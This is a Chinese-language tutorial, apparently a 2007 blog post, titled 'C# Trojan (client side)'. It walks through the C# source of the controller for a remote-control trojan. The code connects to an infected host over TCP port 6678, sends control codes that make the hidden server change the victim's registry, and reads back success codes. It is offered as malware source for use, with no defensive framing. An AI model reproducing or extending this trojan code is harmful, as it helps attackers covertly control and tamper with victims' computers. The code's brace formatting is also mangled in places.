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C#木马(客户端)

2007-03-28 13:40 78 查看
使用的技术:
  控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

  控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

  控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求


使用了.NET类中的 System.Net.Sockets.TcpClient类,


TcpClient(string hostname,int port) 


Hostname 是要控制的主机名称,当然你也可以用IP地址。


Port是端口。


// System.EventArgs包含事件数据类的基类


private void button7_Click(object sender, System.EventArgs e)




...{ 


//记录操作,在richTextBox控件中增加操作信息


richTextBox1.AppendText("请求连接" +textBox1.Text +" ");


int port =6678;


try 




...{


//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口


client = new TcpClient(textBox1.Text,port);


}


catch 




...{


MessageBox.Show("服务器不在线!确定是否输入主机名称.");


richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");


}


}//private void buttion



 

  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流


//private NetworkStream stream;


代码如下:


private void button8_Click(object sender, System.EventArgs e)




...{


//纪录操作


richTextBox1.AppendText("测试连接" +" ");


try




...{




stream = client.GetStream();


if(stream.CanWrite)




...{


//发送控制码


string control = "jiance";


byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());


stream.Write(by,0,by.Length);


//下次使用


stream.Flush();


//启动接收反回数据的线程


//receive是线程执行的函数,见后面的分析


threadReceive = new Thread(new ThreadStart(receive));


threadReceive.Start();


}


}


catch(Exception ee)




...{


richTextBox1.AppendText (ee.Message+" ");


MessageBox.Show(ee.Message);


}


}



  3、控制生效的代码


private void button9_Click(object sender, System.EventArgs e)




...{


//这里是确定要发送的控制码,RadioButton是窗体控件




if(radioButton1.Checked)...{ control = form2.zhucex;}




else if(radioButton2.Checked)...{ control =form3.zhuces;}




else if(radioButton3.Checked)...{ control = warring;}




else if(radioButton4.Checked)...{ control =suggest;}




else if(radioButton5.Checked)...{ control =form4.mumawe;}




else if(radioButton6.Checked)...{ control =drop;}


if (control =="000000")




...{


MessageBox.Show("你没有输入任何控制目标!不发控制信号");


richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");


}


else if(control != "000000")




...{


try




...{


//记录操作


richTextBox1.AppendText (control + "正在试图控制,等待回应......" + " ");


stream = client.GetStream();


if(stream.CanWrite )




...{


byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());


stream.Write(by,0,by.Length);


stream.Flush();


threadReceive =new Thread(new ThreadStart(receive));


threadReceive.Start();


}//endif


}//try


catch




...{


richTextBox1.AppendText("服务器未连接1控制无效!" +" ");


MessageBox.Show("服务器未连接1控制无效!" +" ");


}


}//else if


}



 

  4、线程执行的函数


private void receive()




...{


//设置读取数据的空间


byte[] bb = new byte[3];


//读取3个字节,i为实际读取的字节数


int i = stream.Read(bb,0,3);


//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);


string ss = System.Text.Encoding.ASCII.GetString(bb);


//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功


if(ss=="hjc")




...{


MessageBox.Show("连接成功");


richTextBox1.AppendText("连接成功");


}


if(ss== "hkz")




...{


richTextBox1.AppendText(control +"控制成功"+" ");


MessageBox.Show(control +"控制成功"+" ");


}


}



 

 
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